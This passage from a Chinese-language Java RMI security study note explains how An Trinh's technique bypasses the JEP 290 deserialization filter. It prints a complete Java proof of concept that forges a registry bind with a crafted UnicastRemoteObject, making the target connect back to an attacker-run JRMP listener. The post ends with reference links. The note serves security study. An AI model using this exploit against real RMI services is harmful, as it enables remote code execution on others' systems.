| public Lease dirty(ObjID[] var1, long var2, Lease var4) throws RemoteException { try { StreamRemoteCall var5 = (StreamRemoteCall)this.ref.newCall(this, operations, 1, -669196253586618813L); var5.setObjectInputFilter(DGCImpl_Stub::leaseFilter);
|
An Trinh 提出了一种绕过方式,直接通过反序列化 UnicastRemoteObject 类来发起 JRMI Call 而不需要经过 DGCImpl_Stub.dirty 方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73
| package com.ocean;
import sun.rmi.registry.RegistryImpl_Stub; import sun.rmi.server.UnicastRef; import sun.rmi.transport.LiveRef; import sun.rmi.transport.tcp.TCPEndpoint;
import java.io.ObjectOutput; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Proxy; import java.rmi.Remote; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.rmi.server.*; import java.util.Random;
public class jepbypass2 { public static void main(String[] args) throws Exception { UnicastRemoteObject payload = getPayload(); Registry registry = LocateRegistry.getRegistry(1099); bindReflection("pwn", payload, registry); }
static UnicastRemoteObject getPayload() throws Exception { ObjID id = new ObjID(new Random().nextInt()); TCPEndpoint te = new TCPEndpoint("127.0.0.1", 2223); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
System.getProperties().put("sun.misc.ProxyGenerator.saveGeneratedFiles", "true"); RemoteObjectInvocationHandler handler = new RemoteObjectInvocationHandler(ref); RMIServerSocketFactory factory = (RMIServerSocketFactory) Proxy.newProxyInstance( handler.getClass().getClassLoader(), new Class[]{RMIServerSocketFactory.class, Remote.class}, handler );
Constructor<UnicastRemoteObject> constructor = UnicastRemoteObject.class.getDeclaredConstructor(); constructor.setAccessible(true); UnicastRemoteObject unicastRemoteObject = constructor.newInstance();
Field field_ssf = UnicastRemoteObject.class.getDeclaredField("ssf"); field_ssf.setAccessible(true); field_ssf.set(unicastRemoteObject, factory);
return unicastRemoteObject; }
static void bindReflection(String name, Object obj, Registry registry) throws Exception { Field ref_filed = RemoteObject.class.getDeclaredField("ref"); ref_filed.setAccessible(true); UnicastRef ref = (UnicastRef) ref_filed.get(registry);
Field operations_filed = RegistryImpl_Stub.class.getDeclaredField("operations"); operations_filed.setAccessible(true); Operation[] operations = (Operation[]) operations_filed.get(registry);
RemoteCall remoteCall = ref.newCall((RemoteObject) registry, operations, 0, 4905912898345647071L); ObjectOutput outputStream = remoteCall.getOutputStream();
Field enableReplace_filed = ObjectOutputStream.class.getDeclaredField("enableReplace"); enableReplace_filed.setAccessible(true); enableReplace_filed.setBoolean(outputStream, false);
outputStream.writeObject(name); outputStream.writeObject(obj);
ref.invoke(remoteCall); ref.done(remoteCall); } }
|
这是抄的别的师傅的具体为啥这么写可以见参考的文章
然后来跟踪一下具体调用流程
参考:https://xz.aliyun.com/t/7932
https://dummykitty.github.io/java/2023/06/26/Java-RMI-%E5%AE%89%E5%85%A8%E7%AC%94%E8%AE%B0.html
https://www.anquanke.com/post/id/259059#h2-3